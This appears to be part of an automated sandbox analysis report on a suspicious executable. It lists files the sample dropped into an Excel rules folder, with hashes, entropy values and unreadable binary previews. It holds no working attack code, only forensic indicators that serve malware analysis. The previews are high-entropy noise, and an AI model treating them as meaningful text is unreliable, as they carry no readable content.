Preview:	<?xml=..[.-.F..D.&...Y....V].W..t0..a1....27... .gZ.j......p'..p.,gGb=.........;.7...2}..v...r..I5.SG....Z....X...vV.Q..;8;..&..+...K.BH.b.Df.6.+.....Q)..9I_..GR.X..4...[.....9.%.))T.E.%~...S..z..{...m..~.e....$....W".]...u..?...#2+..2?:H.@ER...KG..!s....0Y.....>...h..o0..{w~..R.S..t.HH....y4.5c...:6...,..g0.".Bd.../.....mA#+k..z......g...\....60..2.....?.w....AX1V.l.@...Q....v T>...`..1.wPE..n........y..l5......0?.A....6:2.o.m.jb^]2f.&K..t...........Ye..M}h....6C.=.S~]Q..P..\.S../....K......y[+.....Ro.5.....E..zHE..3"....+..F.{{.V.....(D.\...E...S..s.....;_V..TUm.rp...0.../.V......L%..p5>.&]V`F.[.c.k..@._`.M0'...'.co.......~.k2.s}.oa.kX...;.7b..d3^...Qg.8.8..bM...#nw.e..#...Bb.v...AO.6...P.QS....u1P.z.....\..D...r.....[oG..7L....p.y3....o.?.......\+..._.2.e...<<..Z........x.$.l..H.=.<$i.!.....im.=Z..)_....g.+k...{.=.._.......b.L....5..u00S3..\|.b...S%......[:!N.^Is@P9G.)..gv.q...L.`.>^..a..;.....z$...q.:O...{..1.l.\...<...U.N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11150v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.827535145749069
Encrypted:	false
SSDEEP:	24:cIl+8IhhuGnzY78LgkhZKBxvpDkjGPyJ7xWTbD:cbzn/MkhcXhDkCPyrID
MD5:	AB69AD9AA4001510E172734F06B08BD9
SHA1:	BB12FE41B69DDED3103E083BD8204FE773B94E2F
SHA-256:	41B36EDE86BD510D88DD74A3E33AE6165D212EC66A4FB04692D2009B75F77C2D
SHA-512:	670A82C8938DB3B8ABCD9A7939768403DB41D81F283E7B67E5D8BF38EC95B17879811C91C53853BE6B96FD045E850BF2666C990CCBD1DAF63876B6BBAEA4DAB2
Malicious:	false
Preview:	<?xml....x...:..k../..>gOwj...#..L.<....-.Uu..p.......(..M...c..L...U..2..RAS8.A.H...[...2FRp..W....Al.m.AD<,j.>..^6......VJ..Ks.2.."...y.7.......jK.w..I(..qa.B.#p...H.Z..k./8...Is....^LNY./'Q....y(g.....X.^}.....`.......F....~..1a\...........\|.........+.\|..uV.Y.r...t.V?.0.R.o.j..%V....Q3s.o.qm..!.[...v./....K......7..\.F.3~E..'K.q..J....`g...".......q3a.....]bx....\..~./d..p.M.n:..u.7.!.SOc...B2..dQ.}.\..i.6.;eB.;p..k.T.+.Pw..\.EtE.6.om.s.YX...d....=......R.uf..".p..H.Y.H........../....8...:......./..S.g..\|.2.)....G..8...fn..L..bF..z!(..\|.......p..Ob:.GXM..G.V....H.T..Ax.t.:^.e.4K^.2....]/...?.t'Iv.:d.).b4b'.0..t.l$4.......$.F....B<.U.h@.`..0........J...H).g<xQ...$y............q..-jA.....?.5...e...6.`J....E...cxg..`..O.k.Z..R ctB..g....;....x...;..G........d`.1Z.w...,..[..J...a^..Z1oz...\GB..Q... ....h`.1..g&..K....U..D.e......KuhWO..SV..K"0.....p.fg9.W....&W..r.....VH.5^..#.\|.'!.U....E[.....#F I..x...\|qZ..B*.6T}..\|=..8..'...U..^...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11154v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.802979813525232
Encrypted:	false
SSDEEP:	24:eZD6dL7CKCEKWy/tQ36shKfg0+TiruyQuyZCaMIScAbD:So7CkKWGtcATru9uaHS7D
MD5:	D564D6DAAD2E445A1D040327346CBC9A
SHA1:	EB4E06BF83FE1B669D5E5E60314AAB78F193A75A
SHA-256:	A184BEBE0EE825FCB1857F894EC1C3D7366B27FC23790913BCF5B15FA78F176E
SHA-512:	84F4EB1E3F82A376807499FB530716922BB23056200AC2F261094C7D95649B5414493DA78B3D6BE55A78BC41A35B9193108F47C3A8458491BA115F00EF42A9B4
Malicious:	false
Preview:	<?xml_.N._.....~..?....'P....R.....fGB...0F...rk..v.rAi..z.,.ho?.V.V..^.[.K..&3..C/Y..H..v.S..Vo~b.....M..E...(....jM.@...W..nf.(w..C....B..\|+.6.B.. ...i.X...X....N..qqQU&.k..^.I...Z<O!."G.oCTM..k.....F..Ns..K.Va..e...U\|....$$4/.>V.u...m.9J...X. q\..,..-.~7.....S...w.....5..D..F.J_.\.G.Fq..............x.Ya.B...>$.9w..YOW..#).Tkn.3.m.BB......8,}...\|.s....z. ...".o.E...'z..(.u...q.......C.~..'.......].=..pQX...qA}z-...T.o'...2.}....7...`.].d.F.].B.......V..n:{..>.]X...:.j.1X............w..m.\....J.c.I.......i.t.......).\|.R<..u.....:8.l^.\|V.....X......n...<s.....VT.)r.G8...D...6.B..A....[.............<0T;_.].+z.q..\|.v....../....K...X7z.:......$bO.% _...F.LT.!q?..*..G....ZPn.{3....Y.'...u`.}=..7.D..".8P.......N....pH.D.f.I...............,P.U9......J.G8...`...I.c.QZ..e.>.".H..#.p\..<]..~...(>...F...N.eXQM....L=...A..{....G7..;.j.s.{.]9.Y<..h0.W,.0.r....g..u...YE@....,,.C$.x..J..'.+.....0IRb../....].`......l..x.U.z2..XB.l.-....cG..K#eSLiby

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11187v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3232
Entropy (8bit):	7.939157752485951
Encrypted:	false
SSDEEP:	48:nri1p7bMkYhAcVdrwttkrsM5VqNVzsDKtzNesQEhVNZnEazgk9pX56NgpwjLHktg:r6pcjb3rwfoqNVqOeLYVrxzgK560kIzS
MD5:	D8F129CD6E8DAAFF5640753F7B6E2E0C
SHA1:	FF991B5112E889ECEA6B382F45DDBEB5DC637010
SHA-256:	1038EE784C2945B80269410D4B573C1C4DD69191C2DF59203E0F9B56FB4ABCC1
SHA-512:	1ECCC231C4C2B3FC53890B0F553884A0445FB1B1CD993413A40B5A803D66F3352A58845D346B78F0091C197263AA8F5B1B5EAB386B9550D9260054E2D4151F10
Malicious:	false
Preview:	<?xml.......w......l..#Z..E...1@.....h.Q.A.".+c........"X..N........;.k.MJN.;..a.q..K..;.6..v..H[C.'#.._>z}..._iRz<.08..0i+iB..4h.Z.H.u.5!YK......YJ.........doL.I.Q.w.a...z....h.!.b..!.s.{...:.....w.4z.......H..e#u.h..&H`Yo...;......`........V.v^..F.~..BG..Bi..m.Y.e...`..?.!k...f}0.E7.C^.?5...Y9!:^.u.8_....~.......+.].=O........\|.&.-...D.m.....i&%...d.<S/L...b.g(-w.KZ`.`OO....!..M.;h/..l<dq2.N..5.-..s.'.{...2M[..;.Y$H..`.N7.9.k..r.~...s=....@p.;h......."...#N.sI.....^<%.2...<.P.......o.Z._...-A7.....Q..F2l......C`$9}....ut.o.F......^.%.q...j...bj}..]Z,........2..y..(..A.+p...i.._..........B7W.r8.L....RC.bE.....Us!.P...\..u..(.]....W..z....!.......eM}..A<.p(.%... .n..:.$I..a.g..8..]..oKRs.f.,.......!.+.6j>'.\.D>6......#...DM.g.Y.......c_.. n."........f./.....h`..j?....V.{. ..7.....1.6........6`..I.([bw8.@[.O.E...^0.. ../S.jx.'..o..W.-....\"..\|.(2....oX7..E..x..M.D..m.,<g..\...G..V2.+..&.P.! .i..J..*...7>3..hV$...6x.r9P...`...... .8..x..4.>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11190v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1231
Entropy (8bit):	7.805703264033214
Encrypted:	false
SSDEEP:	24:zgtjefCPmxZvJjvnb6GNT6IkFUzXvoYIwJ7qYOzce2kwbD:JfpbiG56IakH7qNv2nD
MD5:	1B4E057C2857C2061FB9DEC915718C72
SHA1:	562533D36182437263A8B9A33AD30729A9435BCF
SHA-256:	1CBB5BCC6A7D4D5075B1CA372478B4C6A8076C0EB09072F7EFE01D8A4924C314
SHA-512:	F6286B093DD089A2DD1457A6EA1D925C462BA8A03F4132BA50967C40BAAD8AE37EBFBA2D2A06E1006BB543A0B55501216B6F50BD54A318E0DB5D856929FF3F68
Malicious:	false
Preview:	<?xmlC.......c6.nK.:b....A.-..K.....c.S2\..I'....0.. .sLf..u)O..E\|.c.;,n..6V.".H.....]...V.N....0....:i....0lC>.........$.V.\|.sb..L.1...=..O...j...=J_.?..c....~.M....%.....W..JU...o0.,.Q<...}?..g.4.y5..AN...e...>..S2\sR2+@f...(M*..h.....X......M.....T{l\|......ErS_(.u5g..K....._`(.^.W.O....Edh..9..H.I.g.;.....Q.S.~..e../f..-..Y]...kY.._Kf.<.BW.95....b....t.v.N..9.U.$z....?7.mOG.......$..v.n......p..,.(.#..>..!...u].)D....Jky..V...m+.........\|\TS3!GW.K...>.....0.[[...1.t.?..a/..1......-.\....Q:@.T..vqWQ...iI.' ...uJ.p~...OK.q.e_...1Q.SBN...'\|p....KVE..._y...Z.....x3Wp..<..c......hV...B.,.\|G..D...\......wI~]...l}.\|.6J..ig...%...~:....o.N../.j.s._.......z...!.^.]........{....!.....$.@.X...l.{U8.....%.W Z..GmB&2S. ..eQ..._T..w..S....lJf....I..y .....A.{.[..;..%r.5.(.'..T..0.a.}.^..9$.`?.tN.bDn...7~9.B../.._...4...V..Z.v.Jz.:.b.IV..E.....Y.1d.}....p.0..Ol.3.g..c..1x :...q.w....3.J...q9....n.....&....m#LpCH.p.y. x..Y...$./..l`.....W/+j.....7[.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11195v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	7567
Entropy (8bit):	7.9767491112876385
Encrypted:	false
SSDEEP:	96:uy8qy1wjme9g5EfB/yUKA3uu1yDBptFT8alQf+XUeuEDdBrmUBDHQbX9u:u4fI6B/teu1yNptVHke7dDHYXc
MD5:	BD13A88301B83ECACD39D266E5CD2D47
SHA1:	5B0C6CAD2AF1E20964F48FFB0CFE65F09EF1F2BA
SHA-256:	97E69227BC0508E61536FE458E0E233581A28A238CB38E6197A2A0E5CB153CED
SHA-512:	341149CD07E5A82B63595EF4170BD52FD7F0EA6C8E2E0CCDB34052D18EFEDABDC4054BD34C8BD509D1A8DBCDC81210126B410E593C7D80024CFF9F4300A407AD
Malicious:	false
Preview:	<?xml......3..K.>.K...1v+.d.6q.'O...c..a;..........E...5....\.B...caP,.2/]u.../.'...#I_......c....x.....%.."~.............d.2.t..;...;......$...{.....qN.[l+.oPbx@.QXj....{...}h......:L..l..BV.[...T..?.s.n.:.x..".uv%.>....0..U.3v..J?.~.Y.DIR....ep.xAl0..-.a..EQ..u......\|0..U.].g...k.....A......\|...z...*c?\|O..f~%)t......#.bN....:../...`...F.....&=y...>....\|..{H.......B..cg..8.r.....+u.'.V.!..v!../........s.....H....+..Q\|...b7._.w.... ...G)L...dh.3..f.`!N.1k..TIy.............0.......ku8.hF.5E....8.C....:.....99]^.Hf...Ue.<v..^....?.[~Q...1.l......L`..L<K..Y..+.. ...u~....;...3)...3..5..vF ......E..p..],.l.VNl....^GI.pE..C.....7~(.h.^.B..'......V^...g...l.@5...uS.....7.0J6..\|Lle-.]p.c..A..(..:.o.=d.....E}.T.?......_.!.._...0oV..6....'1./X......R.v$........X)...D...N..g.=........D+.....".c..(\.{9o[...tu.x3.a.....^.......1./.~-].v#.}..l).t_.....ij..t.65m..z....vx.....n.rA.v`...r..X. .Lp#9\|.9.V....]...L.4....8.0..K..JU.}j.v`..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11208v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	7.744533031865667
Encrypted:	false
SSDEEP:	24:Ehydq+T60TUb0YNOm3EoZwshs9Imdi21KjV+ObD:EhMLdUFXTrAiCAxD
MD5:	42B247F0ECAE010FB398F3E285E07418
SHA1:	DC862BCC3E665FFD6B57C672DCC14FD977E4923A
SHA-256:	3FC4A4295858E05AE9A137A202B03CDC325F4EE1FE5C247A3D04C366F22BA498
SHA-512:	F08D516C9EF45CA32A263B8B721F5DE0CEFA9B11424B2F8E11A72510EE93F8525393F7CB78E86B0102145010914C166B7F4F75A666451604837AE8B166422A3B
Malicious:	false
Preview:	<?xml$bG..W...}....z.9..K@.C..v<.I.3....O5[.l.(.#..OS...A.k,.....,#.f..9...-.0z!9N.Z..W..L.....`.jG.jr...[.......1R.....jZvx.@.e.D....o:...j..gb,]6.;....._\...hl........t.......m./M..HjN .....m.X%r~]...?..A.n,...........Y...&....B.....M.Mn..Y.d..K=\[1..2..x.$."..aw.A..{HM9....=c.......Y.c).,.e...,qD.b....q?.H........fY@...&....njy.+.Y%.x......E....q...].....0[._...z"mq_...A......y....Jbm.[..d.......g.....`.v..'..c....o...UwQu:..F..}.3.V.7..~t.=..".Q......:7.i....zV..T...........0....S...#.&_......k..p.=..e.[Ql....4Wk..<e)0%J'.\|.."E......6.1I..O.h.U..nB...9.....08U,.........1sk...&r..L..i..._b.S. ...'..........-..6...K..8..-d..o...c$Vq......@......N!<N.$;....Y.(...*.E....e.7......._XSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11209v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2272
Entropy (8bit):	7.908719399336178
Encrypted:	false
SSDEEP:	48:tx6lJ0ASpOcfc892MfhPep55PNyCD29SWudgakCGaZT0t3D:tOJ0AUk892MY59ACD7WVJfea
MD5:	491A1154B5897427E164870D98692CC1
SHA1:	B4F2579F4BC078A7A41981B70992BF13F819913F
SHA-256:	00A65C61C455A82C5D8C1C9E8D76216A880696DA8166950F3DA871A87B6CFAEC
SHA-512:	060F896212AD1A7B71464BBC25EF452F0BA06BB747F34AC2F35182D354320F42D0E06E420A847C6E4478DAB63F2974092886F7893DAE053D40D397A01670D255
Malicious:	false
Preview:	<?xml./...p{..m......5f.$.E..L.=.6n..li.u^.2.f].....Zxa6..Hw.v.A/.......p.4QN.3.x.q...wr....F... ..JD.e.l..\U..[6f...">.+[}o.3...U..z...a.I4.J.X.....-;.......E...pv.8/.Yba.8h.fyF......A.5{.k_h.5...W..}..T.df.`r....F.u...qK..F.5.):3{v]it.t.$%s.{c..5....,k.....O..'pg...v.n.\.<......_..........\_...$&n.j.^.4.6.J.J.#H..:\|t.^..l...;.t..1./m..d.....C.f..3.9B...K....;..I.,.A.rK.\|4..AF..jHz<.L..3.....8.zV31.am.C....6../...n.....(..5.K.,R.~k..h..{.VR._b%....9].:....>...%..j...............i.....I.9....Z..........W.m.....%.2.V.W-.jy..b'JqS.Bk...v`w%.TC;..oY)...fsA...:......V.1..j.!.....L...P.+.......!...\...^./N.....U>.HV.#.]4.#.....y.D...tQk....Gm.....e6..w$&....Q..4].51..[...T.1...2E...}C...m..._o..............>..t....g./.{.M...DM2.2....n....W>.V.O$........{E.A.`j.~@..../T]l.e..n 4...WvR...............r.&........4.c....S.P.. Ia......W.S"..\..+...B5.:H.....w{.X.S!.q&.........}..1.lf0.sW...s..e..;^..>auqc..M.J.5.....Ip:..4e....b.;.8.`.p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11210v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1311
Entropy (8bit):	7.8518141208483865
Encrypted:	false
SSDEEP:	24:cl3OhKhQv6K58Y958VPX5BUWvcYu/czE92U4zf+RDaK2hi852pQsxSm77u/6HbD:e3OIA6DYb8VPwWvy/cQ47+tboiSsxt7h
MD5:	3F112B40530226778592AFC5B887A61E
SHA1:	0131C2CB5267528E446F0A5375ADB2857056C160
SHA-256:	FEDE4368BDCBB4206DDD8AC09002281EC505766EA5DC41DF32D4A5E50B48FD83
SHA-512:	C41005143DDBA02F610149D216C6A266DA47C944AB5B89DFC729B93B26A209C0831446BEA78D8435A7999109B643D8C09C8FF49669CBA3ADDEDC5BA9B9C8454C
Malicious:	false
Preview:	<?xml.Y.J.I.,<..-a..<5>m...27AO^}.d...6.OE...?..O......O.T.u+.B.Z.....X..5.6..]U..y...91....2...g..lR.....1e0...fQ.:{.....Sr....{M......i...(.?n.LJ.xR.Lr.h.....[zB..&.9.}..I..U.....C..y.g..z>.l....M...=.c.LM.e..z...g~..\|..o..P......gX...Gv..{s.....e.z....G...^..1[U6.%'\...YWS..Kq7..o@1G..~`.k...<.T'Sca_.1..%."s).......}..cYsa..........Q...>k..:..`.?`y$.l..f.R~.<......>NCz..L................u.f..c..w.^..)(U..2;...4..+.\....i.+.41.[..'.^.......d-..+H.!.....P.XO6g.P..q..K.w.?D....lj..g.[+.u.k..........G..d.R...Aq...B.Q..Y.4.0.}."PO.kj..b.oB}]Y...$0....;jX..?....%B.........(z.e.y..ieY.....d......{.Z.p%.Y.f.(...?.@N...2%...9.1!..<...^.......B.....B.g......<...Oh.y....r..aFpqg......%...............q"....(4r.b.2.>.../..P..q.s....7=dK.....9-.3.pRa.d.I.Vb..e..p@..u\|.... .u.j...{..W,.8....~.E8yB$X9..#7...G..2c.\|.L..83...}.@.X....nV.:..65.....k.n..}..+Y..J.`1.....ki7......H?D.v...>w6$./{..4....S..o2V.m4.CX^mF.`q......4....'.....Z:8G..3..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11264v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3172
Entropy (8bit):	7.936498861650801
Encrypted:	false
SSDEEP:	96:4xgZH2AjMz1XYHdlgpemN0MwS0nxNI5FWDxkYdem:4xgZWAjEIk8mVwS0njDxk8
MD5:	CD3A12C7124CAFB0F3F6CA49ADBF982C
SHA1:	80AB91A9A7125E5221017B5E56D4124873A0A17B
SHA-256:	EBA8530CC8B539467F22C5D26FD573EFD862522E9A207D3E3C93F73B92DF7BA2
SHA-512:	D2D896886B6F487417EC12437050F6D6128392CC2090346A625CE50EF4ECD31DA75A6BDB9EE91376463418C627E3C19F24C78E3B61C91949C109192E43D8D989
Malicious:	false
Preview:	<?xml!......./..........E......P.9)I..s.tY+...+06H.wB.-S.....2..A..".....=...iB....@.9#.../^y9.\|.L.r...poA..7...s...N...FQZA....8Kv...T...Oy..8{+,.....?..m.>.S5..?-....<k/`HL...W.(..'.`..<.....;@.}.,..{....?..B..C.../D..G..t...f.p...[U.......................9I..<....)..5..wgs..i......s...7i..t.q._kJ..}.i..w....H..7},"............x..w\...G~}~3..hIYH..4#....}.:.P......gz...hA.x..F.X._..#....#.%..j,H....d.....QD.B.....B.....9.>}9w6...<....O..!...pr.._...."....j...?.N...ia.\..P..VA....{[0!=.i..tNI.A1.....2^.\|"..(=.;.v..+\.8]....dI.a....c.7.D.zs".8..WNn-.....Qo...oH........(..g..,lF.....@j.LQ.>..d.e......H.np...Q...O..c..;x.._f.q3.RcP..g....6{.w.?JLv.U..Uq../...K.-]<) l..D.=.7z.h.j.........)S."q....@.?.8.4xU/.Y.....Z.[.........2.e.i..c...lJ...MW.Qc...m....D~y\|4...L....`..?..%Nmg>gd.a.R...y2...B..A.r...0.&lV.p.8{AIs....&.v..M.o..n....Ek.y......$.%............6.........[..s...E..F. ...xS.A1g.uT.G..b.F...........WE.....l..2.H..`.../n.S..).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.8890051847455185
Encrypted:	false
SSDEEP:	48:iHfeFwaTpqNWV6Reyxv7vpOZHtT/xkpQKXgbWBklWD:iWtqNVfeHd/MVk4
MD5:	1A9B6759EF3D307292F59C9DDEFD1D1A
SHA1:	387331B948946C10F69959ED67B61D52ED24ECAD
SHA-256:	A27591800EF710BC3E623C8F00CDBBF69304E86D1B666F00F4287FC79B051133
SHA-512:	E7E797A6983F58248C9E50224D5BA53B765AF4D3DDE805838FA58B5B0BA0E5E1BEED52605CA5295B456BFF0D200BEA889E36325889554B8E89F7971A5AB3C9A8
Malicious:	false
Preview:	<?xml..N.X..s.eBks.Uq......Gii....4.0Ia..q...9.......I..^q.:./..e......=.{...).x...W.B.!.?0...........@t.....~%V.D.#Z.}.$.Y..B:.R.a.Z.jxto..Va..2....S...GK..h.%.]...%..81.$...;C.."A<.5...#.l`u...!.7..+j..N.[.....5...i....p...$...vrZ.....I.L...\|....X.7....F..T....4x@t..G...w...e.`g.....m2V.Bk}..n....!.m..%.....%aQ._..R.G....%.e>.f.?.U....j.....0...i...TA...`.C.....L.'6l=.....c...}.`>^.@.%....%F..n...M...@....$...RC.... ...m.1.`...rQ..G..jjV.,.........P.)...._.P.3......./.8.......p}....$N.:n.....'rQ........PT...x#..E.4.).5g......F..G....t.3......A:..X....1Q.!......s.O.KR\|..Z9........#......G".}.8.?.....n..0P...kw.a. ..........R..a..b..86W..aR.V<........1.z`...".mg..@..Z......cW.H.X.Y_....)..x......[d..F#..m..(.L.).=..O...l-....N.2M;;.rs....)B....P.e.*.,.....,.E...=BnrF.@.....n:k=G.....r...[./.UA.IJTh."MaF...?r.Q......UE>..@?..].GO...mh......../`C...g~".V......J..y7.J...E....a.X.4 .9.Gy...J.>....w.>~-RfR.....:...........w`0

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.9742296926878184
Encrypted:	false
SSDEEP:	192:naPAhRqVRinlkJN0vCRcgLtwTZatQmdrZ9g/hRMkB4B:nVlkEvCbiSQGrZ96pyB
MD5:	75F40624254C2A3F9EDB2D8E7797EA41
SHA1:	24A4F424E2D341CF014F9F07ADB00A65CD1FA0B2
SHA-256:	03EA7101A85722ECA2887621E1D1C7DA702E965F58513276911DA976B7B745D7
SHA-512:	90100E0E7CDBFBBFDC24F51DAF9CE7F891A1FD211E29123E0892CE6CEF7D959F8F73BA541366B1F2885BC1FAD1A027F70DA6A0C6FE9DB6A4654624C6758C4CEC
Malicious:	false
Preview:	<?xml......I9....s.H.........{.\.....e....#./=.a.O."...A.nX...Y.<.._/.......x~.....6j:j....$.B.`.i...?J.e)C~......]9.Jpp}9=k.z.W..%.8.\i9el.R......3.2..~...f.....(.80..9.V..$..M)K.}...u..v.BK.x..7ge.3...1.<.T.../.."f.G.^\..V7..m....#.m..7.RQ.P......&..-....y.......Vk..e....T3...).....<.v\....`?]......p...(Zh]..]...........Z...S."...,Q.sh......$e...@.o^.#..CO.z..{.B..:..!..bG..p.z...>.H..{8_....D%......8.Rpihz...-.....:O..%5..7.w..u....=..P...&kR.@Z...0a..U.Q..joP1*..\|\|Q..as..w.A.#4...I...h...<uo..nx....Y...0..._....^^.NY..70V....dZ..@@.)......WJh.?1.o >e......<S`.=G..6l..vvL.O.."..g..v..9...!j...`3.,......3.]? ...T.iI.....y...Q...dc.8r.7.@.!.........u..>....}I..8.J.X4u..y.S.N........c..yO.d..V....].FT1."Zo.!'..j.W.[.?k..].y.p......4.....Mvj...Af.?. .^B..........ndN.... L$TL.e.S).l.#<EA..F.g..._...8f..D.d"......=.y..Ze......X.e./...kK$.px ...b;e .\|.!..9.U............L.=}lH<.&GC..r.9..!.>..XH...y...,n..f...7.....3.,...W.....!.9....;

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.961827630760365
Encrypted:	false
SSDEEP:	96:Zyoky5+RXnRllRW2kYTJcBQZP0yu4wgwc8KThl:8O+/cEJcBU0Sfr8KP
MD5:	DB2F1338F99E1A00FC87E32532704A09
SHA1:	CAE511970163A7FCB55A7FE62795BA9A2F7E80C9
SHA-256:	5E6506F72FA8475C8F47C6530AC179DD4DE3B48859BED0A7B71D92076AB5835D
SHA-512:	4EEB36C221E8E9F41996D4357760AE3AC8AAA3D5DD48F930F813ABBBF313E27C6BFB607BA2EB0845A654F2E9401069B54C6D186A6F8FCB35E9C1CCAD675CAA3F
Malicious:	false
Preview:	<?xmlW.....f....g?.+.H.=.........7..f/W#.H.F..j.d.U&.pL.0p...1dS. -...6..I....4..... ..0rs..j..?[.EV.q...{.m.O.....E.3.....(V...D.v};..9z)70F...1.=.A.+....3j./........55....z.y..6H....{..e?];..L.}....U... l.o...q~...%.5.... .4.l.....t...h..j....Hi...Z.8..M......0..J.<'..O.........L..\|.Jq]....J...x..g..P.q.4,.....h.....=N((.......]a./.cM..j..".U.\..NLw.....Q...7.......o.mx.v.F...s".m.\|`.e..x..]...q]V$;6w+.6...........S.$HW...@M..2d.......m. ..d.T.S,...z;...}eK...D#0.'.J.Q.E...p..M)..d.......i..4.v.4.Xs..........=..lq....cg\|.n....%F?....YC....h..q...s-.Xz.<;7."6Lm.p.`.r.....%...jAv-.\|...%.?(;...L.tn5.R......db..d...... '.{.'...d.h..d4.f.\|...Tn..O.~...g.6.....7.\|O~/A....->.......m...I.>....S..`.U.R)..Y...........B...........q.,.......Z.3........1S...C..u....T..]T..:>.}.V?..^..vs.M....UK..K.T...m!l/6c.7{...3C.w3..LPE...`/.G.[.3S.sP....uZ...d.[..q.p.^..+.........3......<.vwg*/.fo&"...k..d'.;8]..t%.5b.r=Qd....}(.B.....{..p....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.963515023968889
Encrypted:	false
SSDEEP:	96:iTijW0sjI7BFQLhDHEOmMkcoSsm7e+RPBLUX73aIAayyU6vD:80sjABFJOHkNUPB4L3aTRa
MD5:	0E18C2959C2A92BC5A1CF32BCEA3471B
SHA1:	9254D66F80CDC076367D6BCF1C67A20F6AED62CE
SHA-256:	61A7B4E7A09D144AD1BEDEFDEEA16C9D68C90C54A0C2438EE0DA2A5925C72B40
SHA-512:	4D1FA5A23A57C6E1F42A00B61199163C146211803CAF58246001537666AD79295284236B0212CED1F19A54698D8625EFC1C4BC45D8B23CA6C896C562BBF26B1A
Malicious:	false
Preview:	<?xml..&z"...~.QJ......L.]...P.....F...-...G..?.`....%NV.X....'.`By .&,..R/.C...k...'./....p.y..?.{\|.v...\|.".fH....4...t..`.]......Y#......).B9yT..?..M..Q.-B.....}....4.;...c.<a.TVm..8.....3m=f.P."S.6.....Q..5=....y...J...7.)..un..}......z....6u.d.$.......Ox.`..%...2......`.......S.1.....C..2...]...L~%.].......u.(..c......;-y...Q{.5.m..j9.f..u..cz9H....... ..b.Ol"2.SZ.N^..'.n.. ....X.J..H....c...h@......:..)..H.7.K.V.&8......H^6.X\.......E..m.O...<..9jZ.I"........J.1....o......8...NI:.IdD........?m...%5/.U.}C.l..1.u..Xg.^....~lH.{$.....i.I.5..}...Yq.9!..E~G..,..x............3.{G.p.#O$,....6a..F>*,..m-c...@E.d=.>..i.Y.j...0...;..~.t....o.(qWkt .7.K!....M...!&....g....X4.....r.D.}...8.0Le+..&Q\n..>+.7.._......(..y......%....9`..d.L..q...Q.............n...8../.1F]..l..#R.....@...Oo..N.n.Z......I..F.3.ai ..u.U.]."..9nk...$W.M.k.'..R...:..L...@>X"...\zx.Gz...u.c.NM.+...2>.F.....-z......&...R..mr....\|.d.._k.z ...=n\..1yv.[.{97r.}....1.i.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.928254959285346
Encrypted:	false
SSDEEP:	48:hgM7qKwn2oraz6oFhuRzlzgmAz0m/GukJQteS/QNC7Zbs4jH8YPJFoD:hgMePnmz6oStlzgTeBOeSR1bjjH8YRF0
MD5:	B8E331FF43C691AE39FF3E79280F5122
SHA1:	B61AAB4435117124F6CF02E871D067AAC9D74E80
SHA-256:	976E28B7B29F3D00E15B60C2608E9EE473DC84370D8FD4E3C792844C495FFD91
SHA-512:	C3FEFE06CC42B599159D352EEAF68BDC1DE2BCDC97E9DE859428BDB00222BCBA417FABC6CEF5975EBDD08F090A53B6255709EBC48132AE9CFEBBC7A57C6C5B16
Malicious:	false
